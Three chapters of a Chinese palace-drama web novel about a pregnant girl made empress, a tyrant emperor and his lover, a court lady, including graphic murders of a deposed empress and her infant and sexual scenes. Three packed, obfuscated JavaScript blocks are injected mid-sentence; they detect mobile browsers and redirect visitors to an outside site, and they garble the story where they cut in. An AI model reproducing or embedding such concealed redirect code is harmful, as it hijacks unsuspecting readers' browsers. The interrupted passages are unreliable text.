《暴君与妖妃纪事》
1. 芙蓉(一)
今日立春,天空却飘起了细雪,封后的圣旨送来时,白绫已经在祠堂挂好了。
郑黛拭去泪痕,带着几分得意地看着父亲。
“父亲大人,您也听到了,我如今是皇后了,这是光宗耀祖的喜事,何必弄得如此不快?”
话音未落,一个耳光已狠狠甩在她脸上。
郑大人压低了嗓音,一把掐住了郑黛的脖子,咬牙切齿道:“你这个丢人现眼的东西,真让你当了皇后,我们全家都得死!”
郑黛被掐得喘不过气,拼命挣扎,眼前发黑。
年初父亲为了结交权贵,将她许给了权倾朝野的上官家的一个旁系纨绔,她偏偏不依,私自与霍九郎定了终身。
她和阿母原本打算先去佛堂养病,等一年后孩子生下再回家,她照样是知府家的小姐。
对官家的女儿来说,这都算不得什么大事。
谁知风声漏了,她怀了身孕又死了情郎的事传到父亲耳朵里,被当场擒住。就在圣旨送来前,郑黛哭得凄惨,一个劲的磕头求饶,可那没良心的爹就是认了死理要她殉节谢罪。
此刻郑黛的指甲在父亲手背上抓出血痕,他却越掐越紧。她死命挣扎着,打翻了一旁的烛台,传出醒神的响声。
“知府大人。”屋外候着的人想必是听到了屋里的动静,“圣上有旨,让郑小姐即刻启程,还请大人莫误时辰。”
郑大人满目猩红,胸口剧烈起伏,恨不得立刻将她掐死。
郑黛脸色惨白,冷汗直冒,却挑眉一笑。父女对峙片刻,终是郑大人松了手。
她匆匆梳洗上妆,未曾用膳,便登车离府。
“起!”随着一声令下,马儿嘶鸣。
郑大人趁乱将一个纸包塞进郑黛手里,她不用看也知道这是让她自行了断的毒药,随手扔了出去。
车轮碾过,药包碎在了地上。
马车启程,她掀帘望去,只见不远处,阿母正在默默垂泪。
郑黛轻轻叹了口气,又缓缓垂下了帘子,伸手抚摸着平坦的腹部,手里紧握着霍九郎上战场前留给她的玉坠子。想着真是造化弄人,短短数月,上官家被灭族,霍九郎也上了战场一去不回,而她竟要怀着孩子去做皇后。
阿母早被休弃,父亲又多年来放任她被继母磋磨,还想着卖女求荣,她嘴上说着全家都死好过她一个人死,可心中还是不愿落得个满门抄斩的下场的。
马车晃晃悠悠走了好一段路,郑黛小憩了一会儿又睁开眼,现下是傍晚,霞光灿烂好看得紧。
一个穿着女官服饰,气度不凡的女子亲自扶她下车。
“郑小姐,我们在此地住一晚,明日再接着赶路。”
郑黛点点头说好,这个胡尚宫生得极美,一身宫装熨帖分毫不乱,浑身透着气定神闲的气度。
她在驿站歇下,想着附近有一条小溪,她若是外出不慎溺水而亡,估计也不会有人追究。
此时,门口传来吱呀的声响,来人只胡尚宫一个,手中还端着一个托盘。
郑黛怕极了入宫当皇后,可还是喜欢这个胡尚宫的,她做事细致有礼,一举一动都雍容典雅,不愧是宫里来的人。
“郑小姐,药熬好了。”
郑黛看着瓷碗中黑乎乎的液体,脱口而出:“我没有生病。”
胡尚宫走到她面前坐下,也药碗放在她手边,“这一路舟车劳顿,小姐有身孕,怕是受不住,喝些安胎药稳妥些。”
郑黛的脸一下子变得煞白,浑身皆是一哆嗦。
胡尚宫笑笑,握住她轻颤的手,“小姐莫怕,我知道,圣上也是知道。”
这话并没有宽慰到她,郑黛的心快要从嗓子里蹦出来,“为何?”
胡尚宫笑笑,轻声道:“陛下在宫外曾与小姐有过一面之缘,暗暗了生爱慕之心。可惜那时朝纲由上官佞贼把持,陛下无法迎娶所爱,只一直关注着小姐动向。如今陛下掌了权又听闻了小姐的遭遇,不忍小姐香消玉殒,于是想了这么个法子。”
“小姐不必害怕,安安稳稳在宫中生下孩子就是。”
“孩子会送去宫外,娘娘也能时常见到。”
胡尚宫说了一长串话想打消郑黛的顾虑,郑黛却不敢相信天底下竟然会有这样的事,可她一个弱女子,家门也早已没落,又有什么可图谋的。
她的心怦怦直跳,手指无措地搓着衣角。霍九郎上战场前答应了她一定会回来,是他食言了,如今天人两隔,她将孩子生下,也算是报答了与他的一番情意,还全了自己为人母的一片心。
胡尚宫又拍了拍她的手,她方止住颤抖,想着莫非天子真是菩萨转世,心善至此,她试探着问道:“陛下……是个怎样的人?”
胡尚宫脸上始终挂着温和的笑,她眼眸低垂,似是在回忆。
“陛下年少英武,诛上官一族而清朝纲。仪态非凡,性子又极温和,通诗书、擅骑射,箭法更是无双……是极好的人。”
郑黛看着这个让人如沐春风的女人,由衷地信任她,但是对于那个从未蒙面的天子,她心中很是惧怕。都说皇宫是个吃人的地方,这世上,岂会有哪个皇帝不介意自己的女人肚子里怀着别人的孩子?
从宿州到元都,七日奔波未歇,她才落脚片刻便被拉去梳妆。现如今,再厚的脂粉,也遮不住她面上疲色。
“皇后请随我来。”胡尚宫将身着皇后吉服的郑黛扶住,又把她交给一旁的宫女。
四下寂静,夜风穿堂而过,灯笼摇曳,两侧宫女低头快步。
她忍不住低声问:“陛下封后不应该行大礼,宴群臣,告慰祖宗吗?”
没有人回话,郑黛又小心翼翼地问:“那也不需要验身吗?”
胡尚宫走在前头,脸上始终挂着笑意,声音却变的冷冷的。
“你已经是皇后了。”
郑黛听得她这话,心中闪过一丝慌乱。眼下正是深夜,皇宫大得瞧不见边,两旁的宫女提着灯笼,步履极快,好似她是个什么见不得的人。
宫女们在一间繁华的宫殿前停下,又自觉地转身离开。
郑黛心跳如擂,想是御前,一动也不敢动,她站在殿门前,手指无意识地搅着衣角。
胡尚宫转过身道:“皇后娘娘,这是你的寝殿。”
郑黛侧目看向这座华丽的宫殿,窗户透过温暖的烛光,却有几分阴森。
“尚宫大人……”
“皇后娘娘唤我玉烟便是。”
“玉烟,今夜陛下……”
胡玉烟知她要问什么,答案好像早已准备好,“陛下今夜有要紧的公务要处理,无法与娘娘相陪,娘娘早些休息,药已命人熬好,一会儿就送至娘娘殿中。”
郑黛有几分失落,紧接着却是窃喜。
她还活着,还成了天底下最为尊贵的女人,这已经是最大的喜事了。
郑黛浑身松快了许多,她没有入殿,反而站在原地目送着胡玉烟远去。
檐角铜铃轻晃,惊起两三寒鸦。
胡玉烟屏退了一众宫女,快步朝一处偏殿走去,殿宇中传来一声轻笑,打破了寂静。
“阿烟可算来了。”
穿着绣金龙袍的天子快步走来,神态间尽是兴奋。他一身玄金龙袍,身形颀长,眉目俊朗,若只看一眼,几乎会误以为是个温雅君子。
胡玉烟笑着将手搭在对方臂弯,殿内的烛火映得赵长昭眸色发亮,胡玉烟收起了之前的温顺恬静,身子软软地靠在赵长昭怀抱里,转而勾起一个肆意的笑。
走进屋内,地上正跪着一女子,她一身素服,发丝未束,脸上还挂着擦不净的泪痕。
“皇后,别来无恙啊。”赵长昭满脸尽是轻蔑。
上官氏脸上的讥讽未减,脊背挺得笔直,她盯住眼前的皇帝,语气不咸不淡,“没有我阿爷哪有你今天!怎么?姓赵的你是忘了你当初
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333470|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是如何跪在我脚边摇尾乞怜的?”
一个耳光甩在上官氏脸上,戒指在她脸上刮出一道血痕。
赵长昭大笑起来,他揪住上官氏的衣领,一手将她脸上的血迹抹开,凑到她耳畔,语气阴森犹如来索命的恶鬼。
“你知道吗?上官楚被射成了筛子,死得不成人样。朕命人一定要把他的尸身运过来,朕要喂狗。朕还要把他的头做成酒器,供奉在皇兄的灵台前。朕还请了方士做法事,要他永生永世不得超生!”
“不仅是你爷爷,还有你父亲、叔叔、哥哥,你们上官家的每一根草朕都要拔起来。”
胡玉烟跟着笑起来,两人依偎着笑作一团。
上官氏接纳了二人的嘲讽,依旧是整了整衣襟,挺直了脊背跪好。
“你的皇位是我阿爷给的,你设计陷害!你狼心狗肺!”
“要杀要剐随你,你也就这点能耐了。”
赵长昭唇角勾出一抹似笑非笑的弧度,胡玉烟心中了然缓缓退下。
不多时,她竟抱来了一个襁褓中的婴孩。
孩儿身披锦被,粉团一般,正甜甜地睡着。
赵长昭语气轻佻,稳稳走到上官氏面前,“快瞧瞧你提前送出宫的好儿子。”
上官氏猛地抬头,眸子瞬间紧缩。
她几欲扑上去,胡玉烟一把将她肩膀按住,顺势推攘到地上。
“赵长昭!”她尖声厉喊,终于褪去了所有伪装的冷静,“你要杀我便杀我!孩子是无辜的!”
“无辜?”赵长昭挑眉,嗤笑一声。
他将孩子高高举起,像是提起一只无关紧要的物什。
“赵长昭!”上官氏声嘶力竭,跪爬两步,徒劳地张开双臂,“你别动他……他才这么点大,他什么都不懂……”
“那你求朕,承认你是个贱人,承认上官楚是个欺世盗名的大奸臣,向朕磕头认错!朕倒是可以考虑一下放过你和你表哥生的孽种。”
襁褓中的婴孩适时大哭起来,上官氏双目通红,不发一言,只是一个劲地将头叩在青砖地板上,不一会儿地面便出现了一个血坑。
“我是个贱人……”
她开口的一瞬,只听砰的一声重响。
赵长昭手一松,婴儿直直地摔在了青砖地上。
软软的身子无声地抽搐了几下,竟连哭都来不及哭出声便静了下来。血从后脑缓缓流出,在锦被上晕开一滩艳红,极其刺目。
“啊——”上官氏尖叫着扑过去。
赵长昭却满脸愉悦,仿佛此刻的惨烈才是他期待已久的盛宴,“这下才像话。”
上官氏抱着孩子冰凉的尸体,浑身血迹,一双眼死死瞪着他。
“赵长昭!”她嘶声厉叫,声音如鬼夜啼,“我阿爷连杀两帝,何等英武,天下就该是我上官家的,你此刻羽翼丰满,稳坐江山,你别忘了你从前不过是我阿爷豢养的一条狗。孽犬伤主,你连畜生都不如!”
赵长昭的笑意缓缓收了,眼里只剩阴影。
上官氏像疯了般咒骂,一字一顿,“不听话的狗就要杀!你就该像你两个哥哥一样做个短命鬼!”
赵长昭骤然暴起,一把将上官氏从地上拖起。他咬牙切齿,眼中血丝爆出,“朕这就送你去见你的好爷爷!”
话音未落,他猛地一拉,将上官氏的脑袋往殿柱上狠狠一撞。
一声闷响,鲜血顺着她的额角流下。
胡玉烟被这动静吓得后退一步,随即也跟着笑起来。
赵长昭眸色猩红,又一次将她的头死死按住,砸向殿柱。直到上官氏的脸血肉模糊,整个人已经看不出原本的模样。
方才气焰嚣张的大活人,此刻却成了一具温热的尸体。
赵长昭猩红着眼,脸上沾满了飞溅的血迹,嘴角依旧挂着恍惚的笑意。
“秀郎……”胡玉烟轻声唤他,不顾他身上的血污,上前将人拥住。
2. 芙蓉(二)
赵长昭立刻安静下来,将头抵在胡玉烟肩上,大口大口呼吸着。
胡玉烟的指腹划过赵长昭眉间的血痕,一寸一寸往下抹净。
他眼中的暴戾与杀意还未散尽,气息炽热得仿佛能将人灼伤。
上官氏的血渐渐浸到脚边,赵长昭的目光忽地定住,他死死盯着殿墙一角,像被什么东西勾住了魂魄。
胡玉烟顺着看去,只见那是一幅旧画轴,画中披甲执戟之人正是已故的上官楚。
烛火摇曳间,那画中人仿佛缓缓回头。
赵长昭猛地后退一步,像是被雷劈了般浑身发抖,喉间发出幼兽般的呜咽。
“他没死……”他喃喃,额头渗出冷汗,“他没死……他要回来杀我……他要剐了我,断我指骨,割我皮肉……”
他整个人骤然失控,发疯般扑到胡玉烟怀里,像一个求母救命的孩子。
胡玉烟一把搂住他,轻拍着他的背,贴着他耳侧低声哄着,“长昭,是画……不过是一幅画而已。”
她皱了眉,又上前几步扯下那画卷,狠狠一撕塞进铜炉,火光一下子轰地窜了上来。
赵长昭眼中闪着火光,神情却仍未安稳,脸色一阵青白。
胡玉烟拥着他跪在火前,面色癫狂。
“烧了,烧干净了,那些伤你、辱你、踩你的,全都烧成灰。”
“长昭。”胡玉烟唤他,“上官家的人,全都死了……”
她笑得眼角都湿了,泪水与上官氏的血交织在一起,一滴一滴,落在赵长昭的龙袍上。
火势腾起,映得殿内红光摇曳,几根帷幔也被火星卷住,瞬间燃起,殿内渐渐弥漫起浓重的焦木与布帛气味。
火光中,她俯身亲吻他唇角那点血痕。
“玉烟、阿烟……”赵长昭死死环住她的腰,忽然大笑出声,急切地亲吻着她的脸颊和脖颈,想要把她揉进骨头里。
夜已深沉,郑黛将繁重的头冠摘下,服饰也换成了常服,她倚着头百无聊赖地望着窗外。
忽然她神色微变,正瞧见不远处的宫殿中隐隐似有火光。
“快快快!走水了!”郑黛惊呼。
殿中的大宫女很快来了,淡定道:“娘娘不必慌张,陛下不喜有人贸然打扰。”
郑黛的眉头微蹙,看着面色不改的宫女,真的以为是自己多事了。
她只觉得这几天的经历如在梦中,她没了精力梳洗,只昏昏沉沉地倒在铺着大红锦被的软床上,很快便头脑一晕,昏睡过去。
翌日天色微亮,郑黛却被一阵温热的气息惊醒。
她睁开眼,视线还未聚焦,就察觉身旁似有动静。被褥下,肩头传来一丝灼热的触感。
她本能地往旁侧一看,只见一个身影正安然躺在她身侧。
郑黛瞬间整个人僵住,喉头像被什么堵住了一般,半晌才惊恐地低叫出声。
“啊——”
她扯着被子,身子不受控制地往后缩,撞翻了床头的香炉,薄烟四散,打破了寝殿早晨的宁静。
赵长昭被吵醒,眉头紧皱,一睁眼也怔了一瞬。
“你怎么在这儿?”
赵长昭嗓音沙哑,眉头拧紧,他眼底划过一丝困惑,随即伸手拿起一旁的衣物丢了过去。
郑黛偷偷打量着那人,慌乱地穿戴着,她不是没经过人事,昨天有没有发生什么她自然是清楚的。
这时,殿外传来脚步声,胡玉烟带着宫女推门而入,手中托着洗面铜盆,脸上挂着温婉的笑。
“陛下、娘娘醒了?果然是帝后百年好合,今日天还未亮,便有喜鹊停在窗棂上鸣叫,好不喜人。”
她笑得柔顺,说的话滴水不漏。
“出去。”赵长昭冷声道,脸色倏然阴沉。
胡玉烟立在原地不动,郑黛明白赵长昭是在叫自己,她衣裳不整,连滚带爬地下了床,想寻些能遮掩的物件。
胡玉烟替她披上外袍,又垂眸行礼,她刚欲退下,赵长昭却一手相翻了她手中的铜盆,清水泼了一地,声响刺耳。
郑黛以为是帝王动了怒,瑟缩地缩在床头。
胡玉烟当众皱了眉,她退后一步,紧接着被水滑了一脚,身形一晃,几乎跌倒,赵长昭面色一变,连忙伸手扯住她的手腕。
他皱着眉捡起床头的外袍,随意披在身上,便转身离去,袍摆卷过水迹,在寝殿地面拖出一道冷痕。
胡玉烟面色不改,对身后的宫女道:“皇后昨夜承了宠,你们都见到了,记得让内事房记档。”
郑黛呆愣在原地,搞不清楚如今的状况却忍不住浑身一哆嗦。
胡玉烟脸上挂着莫名的笑意,只意味深长地看了她一眼,便领着宫人要走。
郑黛忍不住将人叫住。
“胡尚宫?”
胡玉烟的脚步顿住,朝她躬躬身。
“陛下这是……我、我害怕。”
胡玉烟抿了抿唇,见郑黛是真的害怕,在心中叹了口气。
“陛下烦忧朝政,与娘娘无关,娘娘不必担忧。”
郑黛眉头微蹙。
胡玉烟勾起一个亲和的笑,“娘娘信我便是。”
郑黛本能地相信这个她在皇宫唯一熟悉的人,可心却是怎么也平静不下来。
早晨的闹剧就这么结束,帝后大婚,皇帝辍朝三日,胡玉烟在花苑摆了一局残棋,同赵长昭同下。
见赵长昭心不在焉,胡玉烟一手撑住头,瞥向他,“陛下是生气我把郑家女接来做新后?还是气我扰乱皇嗣朝纲?”
赵长昭将棋子放回匣中,将双手放在膝上。
“玉烟想让我做什么,都可以。”
他说罢,侧过身直视着前方湖里的游鱼。
胡玉烟仰起头,静静地直视着眼前人的侧脸,有一瞬的怔愣。
一阵微风拂过,她伸手将他额前散乱的发丝别到耳后,眼中似有无限柔情。
赵长昭忍不住回头,心中悸动,抬起手轻触她的脸颊。
他正想开口说点什么,胡玉烟却勾了勾嘴角,她的目光不曾移开,语气依旧轻柔。
“陛下莫非忘了?今日是先帝的忌辰。”
赵长昭的笑意凝在脸上,胸口忽然沉得慌,嗤笑一声,他俯身向前,攥住她的手,将人揽入怀中,低语近乎讥诮。
“我如今也是皇帝了,阿嫂仔细看看,我如今有几分肖似兄长?”
不待她回答,赵长昭俯首在她耳边落下一吻,随即很快退开。
转身之际,胡玉烟却从身后握住他的手,声音温软,“那陛下是生气,我心里一直念着……”
她话未说话,赵长昭连忙打断,“我说了,玉烟想怎么样都可以。”
“为什么?”胡玉烟骤然提高了音量
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333471|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,此前的温和荡然无存,“你为何一直迁就我?”
“我本就不值得你百般迁就,你若不快活,尽可与我明说,何必这般忍着?我不要你对我这么好!”
湖中鱼好像被突然的声音吓到,立刻四散游开。
赵长昭呼吸微顿,再次将人拥进怀里,止住她挣扎的动静。
他张了张嘴,看着眉头紧皱的眼前人,语气带着几分请求。
“我不要什么郑家女,上官家已灭族,从今往后秀郎只有玉烟,玉烟也只有秀郎,好不好?”
他话已毕,胡玉烟依旧只是静静地望着他。
赵长昭了然自己的剖白得不到回应,二人僵持着,胡玉烟怔了一瞬,连呼吸也停滞了,她张了张口,终究没有回答。
“你不爱我。”赵长昭的声音不大,却带着某种叫人喘不过气的执拗,“你不需要亲密,不需要承诺,不需要回应我。”
“所以你可以毫不介怀地把别的女人放在我的床上,是不是?”
赵长昭一步步走近她,语气几乎是颤抖的,“还是你心里只有赵长曙?你既不肯给我一分情意,我是不是也该学你,狠一点?”
胡玉烟一时语塞,眉头紧拧,面色渐渐变得苍白。
见她不答话,赵长昭反而慌了,“玉烟,我说错话了,我只是……等下我们一起去祭拜皇兄如何?”
胡玉烟摇摇头,她随即一笑,后退了几步,半个身子倚在栏杆上,身后是波光潋滟的湖水,她哼笑了一声便仰身栽了下去。
只听得一阵水花声,赵长昭脸色大变,他未作犹豫,便纵身跃入湖中。
“玉烟——”
水凉刺骨,他睁着眼,在混浊中一把将胡玉烟拽入怀里。
二人从水面浮起,胡玉烟呛出几口水,反而笑了,像个玩闹得逞的孩子。
“秀郎狠不下心啊。”她笑得明媚张扬。
赵长昭却是急了,“你、你……”
见他半天一个字也说不出,胡玉烟正想开口。
赵长昭知道她要说的绝不会是什么浓情蜜意,索性吻了上去,似是要堵住她的笑,也像是要吞下她的命。
胡玉烟一开始挣扎了两下,终究还是回应起来。
二人上岸时已是狼狈不堪,见四下无人,他们不约而同地往最近的宫殿走去。
殿中静极了,只燃着一炷安神香。
二人湿透的衣服被胡乱堆在墙角。
赵长昭的手掌握住胡玉烟的脖颈,另一手帮她把湿发抚到脑后。
湖水与汗水混在一起,胡玉烟眼角被激出一滴泪,有些难耐地摇着头。
赵长昭撑起身子痴痴地看着这人,仿佛只有她意乱情迷时,自己才能真正抓住她。
“玉烟……”他轻轻咬着她的耳廓,“别拒绝我。”
胡玉烟从不拒绝他,直到吃了痛,发出一声难耐地惊呼。
“玉烟,你看看我。”
胡玉烟听话睁开含水的双眸。
“我是谁?”
胡玉烟失神了片刻才柔声答道:“秀郎……”
赵长昭扯了扯嘴角,声音里带了几分蛊惑,“你最爱谁?”
胡玉烟亦是笑了笑,二人四目相对,却不答。
赵长昭知道自己等不到回答,更是发了狠,直到她忍不住拧眉,指甲在赵长昭背上刮出长长的一道血痕。
3. 芙蓉(三)
赵长昭恍然发现自己置身于一座陌生的宫殿之中。
四周寂静无声,没有窗、没有门,殿内冷清空旷,唯有他一人立于其中。
他四下搜寻,却找不到出路,脚步愈发沉重,而这座宫殿仿佛大得无边无际。
“朕是天子,何人敢戏弄朕?”他厉声呵斥,声音却在空荡中回荡不息。
忽有低低的声音从虚无处传来,飘忽不定。
“秀郎……”
音色空远,仿佛是自深渊而出,带着沁入骨髓的寒意。
赵长昭一震,瞪大了双目,“究竟是何人?还不快快现身!”
话音未落,一个熟悉的身影猛得浮现。
赵长昭被熟悉的面庞吓了一跳。
那少年眉目如画,神色温润,身着绣金龙袍,头戴金冠,却未束发,脸上瞧不见一丝血色。
“皇兄?”他脱口而出,随即满脸惊喜地疾步奔去,“皇兄,你回来了!”
赵长昭激动道:“皇兄,我做到了,我杀了上官楚,上官氏全族满门抄斩!我替你报仇了,皇兄!”
赵长昭眼眶微红,看着兄长正好端端地站在自己面前,根本不愿相信这是幻境。
赵长曙向他轻轻颔首,眉眼如昔,“阿昭和玉烟这些年过得好吗?”
“玉烟、玉烟她……”赵长昭的表情沉了下来,话到嘴边却扭捏地吐不出一个字,他细细看着眼前人,紧了紧拳头。
他反应过来后正了神色,想说玉烟是他的,你已经死了,你永远不会回来了。
然而不等他开口,四周雾气弥漫,赵长曙的身影越来越浅,渐渐变得惨白一片。
紧接着意识回笼觉,赵长昭几乎是立刻清明过来,随即意识到自己刚才做了一个梦。
胡玉烟也早已清醒了,正有些无力地趴在他胸口。
“长昭刚刚梦见什么了?”她轻声问。
“我做梦了吗?”赵长昭下意识说了谎,这还是三年来他第一次梦见皇兄。
胡玉烟侧过头,在他脸颊轻蹭了一下,语气似嗔似笑:“可你刚才在梦里还唤了我的名字。”
赵长昭笑了笑,“那一定是你,在梦里也折磨我。”
胡玉烟不置可否,二人就这样静静依偎良久,直到天光渐亮,他们才开始换上昨日半干的衣物。
赵长昭穿上发皱潮湿的龙袍,贴在身上又冷又紧。
他走到落地铜镜前,回忆着方才梦中皇兄的模样,又看着穿着龙袍的自己,突然觉得自己像是偷穿大人衣服的小孩,空有其表。
心中涌出一股异样的情绪,他猛得转身,目光落在胡玉烟身上,脸上添了几分期待和小心翼翼。
“玉烟,我废了郑家女,封你做皇后,好不好?”
胡玉烟正束发,闻言微怔,随即展颜一笑,笑容恰到好处,看不出情绪。
“阿烟……”赵长昭走到胡玉烟身侧,缓缓蹲下,将头靠在她膝上,“我求求你,好不好……”
胡玉烟轻轻抚着他鬓角,“陛下不能连废两后。”
“我可以。”赵长昭低声重复,“只要玉烟愿意做我的……妻子。”
胡玉烟声音柔和,只道:“我会永远陪着陛下的。”
赵长昭仰起头看她,想要从那双眼睛里寻到更多的情绪,可惜没有。
乌云缓缓聚拢,天色沉了几分。
胡玉烟正在皇后宫中,笑意盈盈地盯着郑黛将安胎药一口一口饮下。
“玉烟快来看,这孩子好像动了。”郑黛抚摸着微微凸起的小腹,笑得很是幸福。
胡玉烟犹豫了一瞬,将脸颊贴在郑黛小腹处。
她想说孩子才不满三个月,是不会胎动的,但只感受着这里有一个小生命,她也会心一笑。
“陛下,他……”郑黛犹豫了几分,终究道:“自我入宫起,还只见过陛下一回……”
胡玉烟又贴近几分,靠在郑黛肩头,仿佛姐妹间亲昵依偎,“陛下国事繁忙,不常涉足后宫,但心中是记挂着娘娘的。”
郑黛眼眸低垂,她对皇帝没有什么多余的感情,只是担心起自己的处境。
胡玉烟又顺手摸了摸郑黛系在腰间的玉坠,“此物甚是好看。”
郑黛眼中闪过一丝失落,“实不相瞒,此物是孩子父亲留给我的……”
郑黛观察着胡玉烟的反应,却见对方似是充耳不闻,只是留恋地将玉坠放在手里把玩,片刻后才柔声道:“宫里的日子没有看上去那么好,娘娘若是无趣,玉烟可常来与娘娘作伴。”
听得此话,郑黛终于笑了起来,她察觉到胡玉烟的落寞,忍不住问道:“玉烟在宫里,是不是有喜欢的人?”
胡玉烟犹豫了一瞬,坦然道:“女儿家,总是有的。”
四目相对,郑黛又问:“他……不在了?”
胡玉烟低笑一声,“两相厮守本就是难得之事,我们的缘分差了一点。”
第一次见这个一举一动都从容随和的女子露出失落之色,郑黛安抚般轻轻拍了拍她的手背,“逝者已矣,玉烟劝我往前看,玉烟亦该如此。”
胡玉烟先是一愣,随后以袖捂嘴轻笑出声。
朝会上,内侍尚未宣读完奏章,殿中两派大臣便已各执一词、争执不休。
“臣以为,战机尚在,此时议和怕是让越国认为我们好欺负。”主战派领首的张太守声如洪钟。
反对他的是礼部尚书。
“战至今日不过是尸山血海、民不聊生。陛下,臣等恳请议和,以换百姓安稳!”
“尚书大人。”张太守冷笑,“汝欲议和,不如干脆将国土双手奉上,求敌军赐你一方富贵!”
礼部尚书不改色,反而轻笑一声,忽向前一步。
“陛下,臣有一事参奏。张大人自言忠勇,然其子与上官氏余孽联姻,其儿媳正是上官楚的表外甥女。”
赵长昭被朝会吵得头疼,闻言却是紧了神色,他目光一凛,望向张太守。
“此话当真?”
张太守却不惧,直身上前,拱手作答:“陛下,儿媳之事,臣早知。楚虽为逆臣,此女幼年便与母家断绝来往,为人端方,贤淑温和,嫁入我门多年从未染半分是非。”
“臣不许儿子休妻,亦不许旁人借此污我家门清白!”
他言辞刚烈,一字一句落下时,竟在朝堂之上引来一阵低低的喟叹。
赵长昭眉头紧皱,他拍案而起,怒容满面。
“大胆!你身为朝臣,却藏奸纳逆,明知其为贼子之后还敢庇护,岂非无君?”
张太守连连跪地叩首。
冕冠前的珠帘随着赵长昭的动作晃动,“从即日起,张太守革职为民,孽女立刻压入大牢,与上官家有亲故者一一清算!”
“另……”赵长昭环视群臣,对今日的议会做了结,“割让边地二郡,与越国和议,诏令今日起草,三日内传发四境。”
礼部尚书会意,继而道:“上官逆贼已除,谋害先帝之事确凿,臣以为应当整修陵墓,告慰祖宗。”
“我国国库空虚,臣以为此时不宜大兴土木。”一个臣子立刻跳出来反对。
赵长昭摩挲着龙椅上雕纹,轻笑道:“说得好!先开陵,将与先帝合葬的皇后高氏的棺椁移出捣毁。”
皇帝发了话,朝中大臣只能依命照做。
散朝后,赵长昭去了内殿,头疼却越发严重。
伺候的内监见了,照例替他按揉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333472|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着后颈,“陛下可舒服些了?”
赵长昭皱着眉摇摇头。
内监接着提议道:“陛下不如做些旁的事,兴许就不疼了。”
赵长昭呼出一口气,摆了摆手让人退下。
夜色深重,胡玉烟在郑黛宫中待了许久,想着赵长昭恐怕还在等她。路过香阁时又见其中有隐隐灯火,她悄然寻来,才走到偏殿外忽听见殿中传来窸窣之声。
窗户卷了边,正见榻前灯影摇曳,一名俏丽宫女正伏在赵长昭床前,低声细语,手却悄悄覆上了他胸口的衣襟。
那宫女一身素白软罗,乌发如云,灯下人影绰绰,颇有几分楚楚可怜的味道。榻上的赵长昭似是睡着了,一动不动。
胡玉烟眉心微动,轻轻推开了门。
“好胆子。”她声音不高,却字字透寒,“谁给你的胆子,敢往圣上的床上爬?”
那宫女一惊,回头看见是胡玉烟,顿时脸色惨白,连忙跪倒在地:“尚宫大人恕罪!奴婢只是……只是见陛下未盖好被子,想替陛下……”
那宫女额头磕得砰砰响,声音都带了哭腔。
胡玉烟注意到榻上的赵长昭仰面躺在床上,一动未动,似是熟睡。
她走到床边,轻轻拍了拍赵长昭的脸,对方这才悠悠转醒。
“怎么了?”赵长昭的模样还不太清明。
她心里泛起一股无名火,指了指地上趴着的宫女,“将她拖出去,杖毙。”
“细查相关人等,凡所牵连,一一逐出内廷。”
宫女的呼喊声在深夜里回荡,渐远渐弱,直到彻底消失。
胡玉烟立在床榻前良久,胸口起伏不定。
“怎么了?”赵长昭又问,将头抵在胡玉烟肩头蹭了蹭,是真的在状况之外。
胡玉烟只笑笑,替赵长昭掩上开合的衣襟,“无事,陛下昏睡,有宫女起了不该有的心思。”
赵长昭却是皱了眉,反应过来后脸上闪过一丝恼怒,他将头埋在胡玉烟肩膀上,他头有些疼,怀疑自己是中了药。
胡玉烟轻轻拍着他的背,给他顺气。
片刻后赵长昭的眼神清明了不少,又忽然想到了什么,带着笑意正声问道:“玉烟是不是吃醋了?”
胡玉烟低语,“陛下是九武至尊,宠幸宫女也是平常事。”
赵长昭将人揽进怀里,声音沉了几分,“是不是郑氏或者随便什么宫女,不管什么人在我床上,你是不是都不介意?”
眼见着这人又钻了牛角尖,胡玉烟眉头微蹙,她轻轻拍了拍赵长昭的背,心中忽然有了主意,凑到他耳畔小声道:“秀郎等等,我去去就来。”
紧接着她就像一只灵活的雀儿,快步跑出了宫殿。
赵长昭呆愣在原地有些不明所以。
他等了又等,知道是自己说错了话,正想着如何哄人回来。
夜里的凉风吹得他心里发痒,忽听殿门“吱呀”一声被推开。
只见胡玉烟未着尚宫官服,反而换了一身宫女的服饰,乌发半束半披,缓缓踱步而来。
“阿烟?”赵长昭的眼神亮了亮。
她却没应,只低头脱下鞋子,一步步走上榻,膝盖抵在他腿边,身子弯下来,直直看进他眼里。
她的指尖轻轻搭在他胸前,慢慢滑动。赵长昭喉头一紧,伸手欲揽住她,却被她轻巧避开。
“别动。”她牵住他的手,声音软软的。
赵长昭低低一笑,在她手心落下一吻。
